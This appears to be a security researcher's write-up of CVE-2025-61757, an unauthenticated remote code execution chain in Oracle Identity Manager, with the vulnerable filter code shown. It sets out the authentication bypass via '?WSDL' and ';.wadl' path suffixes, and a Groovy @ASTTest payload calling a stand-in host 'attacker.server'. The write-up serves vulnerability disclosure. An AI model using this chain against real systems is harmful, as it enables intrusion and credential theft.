Introduction
Oracle Cloud faced a serious vulnerability in January of this year affecting their core authentication service, which is housed at login.us2.oraclecloud.com. The attackers compromised approximately six million records, affecting over 140,000 Oracle Cloud tenants. An examination revealed that an obsolete Oracle vulnerability (CVE-2021-35587) was exploited to achieve remote code execution on the system and exfiltrate credentials.
The event exposed a larger issue: Oracle Identity Manager (OIM) and Oracle Access Manager (OAM), which are widely used in companies and government entities, were running on an unpatched and outdated release.
During an independent review of Oracle’s identity stack, we uncovered a previously undiscovered pre-authentication remote code execution vulnerability in Oracle Identity Manager, now known as CVE-2025-61757. If abused, the weakness would have allowed attackers to compromise the same Oracle Cloud login host by exposing vulnerable OAM and OIM components.
This post provides a full technical overview of how the vulnerability was discovered, how the authentication bypass works, and how it leads to remote code execution.
Exploring the Codebase
After extracting and analyzing the program components, we discovered that the running version is Oracle Identity Governance Suite 12c 12.2.1.4.0. The product is huge and complex, made up of multiple.ear archives and numerous.war components.
To find an entry point into the source, we looked for the known GUI route /identity/faces/helppages/main.jspx. It was found in oracle-idm-uishell.jar, which was itself included with oim.ear. This showed that the core application logic was located there.
Inspection of the internal structure quickly drew attention to a series of REST management APIs exposed in the configuration:
/iam/governance/adminservice/api/v1/iam/governance/configmgmt/iam/governance/applicationmanagement
These endpoints included administrative functions and were configured in a way typical of large, legacy Java applications. For example, one endpoint under applicationrest.war looked like this:
@GET
@Path("/templates")
public List<Application> findTemplates(...)
When accessed, it returned 401 Unauthorized, even though the method itself performed no authentication. Security was enforced by something upstream.
The Global Security Filter
As is common in older Java enterprise software, the application relied on a central filter defined in web.xml to enforce authentication across all routes. These filters usually maintain allowlists of “public” paths using basic string checks or regular expressions. This approach is notoriously fragile and often leads to bypasses.
The filter used here was:
oracle.wsm.agent.handler.servlet.SecurityFilter
Its logic contained a critical flaw.
Authentication Bypass Logic
if (queryString.equalsIgnoreCase("WSDL")
|| WADL_PATTERN.matcher(requestURI).find()) {
chain.doFilter(...)
}
Two bypass triggers were present:
- Appending
?WSDLto any endpoint allows unauthenticated access. - Appending a path parameter matching
.wadlalso bypasses authentication.
The second case relies on Java servlet behavior. Path parameters such as ;param=value are included in the value returned by getRequestURI(), allowing a crafted request such as:
/iam/governance/applicationmanagement/templates;.wadl
This causes the filter to treat the request as exempt and forward it directly to the underlying controller with no authentication check.
As a result, all REST endpoints in Oracle Identity Manager could be accessed without credentials.
Turning the Bypass Into RCE
Once we had unauthenticated access, the next step was identifying endpoints that could lead to remote code execution. One endpoint from the application management API was of particular interest:
POST /applications/groovyscriptstatus
This endpoint accepts a Groovy script, compiles it server-side, and reports syntax errors. Initially, this seemed to offer immediate code execution, given Groovy’s ability to run arbitrary Java instructions.
However, the script was only compiled—never executed.
Compile-Time Execution Through AST Transformations
Although runtime execution was blocked, Groovy still supports compile-time operations through Java-style annotation processors and AST transforms. Code in these annotations runs during compilation, not execution, which makes them ideal for bypassing runtime restrictions.
Groovy’s @ASTTest annotation allows execution of arbitrary Groovy/Java logic during specific compilation phases. By leveraging this, we crafted a payload that triggered system-level operations during compilation:
import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase
class Demo {
@ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
new URL("https://attacker.server/callback").openConnection().inputStream.text
})
static void main(String[] args) {}
}
Submitting this script to the vulnerable endpoint produced a callback, confirming remote code execution during compilation.
Combined with the authentication bypass, this created a fully unauthenticated RCE chain.
Conclusion
CVE-2025-61757 demonstrates how a combination of legacy authentication patterns and overlooked language features can lead to a severe vulnerability. The authentication bypass stemmed from a flawed central filter relying on URI pattern matching, a design known for introducing inconsistencies. The RCE path became possible due to Groovy’s compile-time annotation capabilities, enabling execution even when runtime execution was blocked.
This vulnerability underscores several broader issues:
- Global security filters in Java applications frequently introduce bypass opportunities.
- Matrix parameters (
;param) and servlet URI behaviors continue to be a source of misinterpretation and exploitation. - Developer convenience endpoints, such as script compilation utilities, can become critical attack vectors if not shielded behind strict authentication.
- Compile-time execution mechanisms in JVM languages remain a powerful but dangerous surface area.
Thorough analysis, careful inspection of legacy code paths, and understanding of language internals are essential in uncovering such vulnerabilities before they can be abused in real deployments.
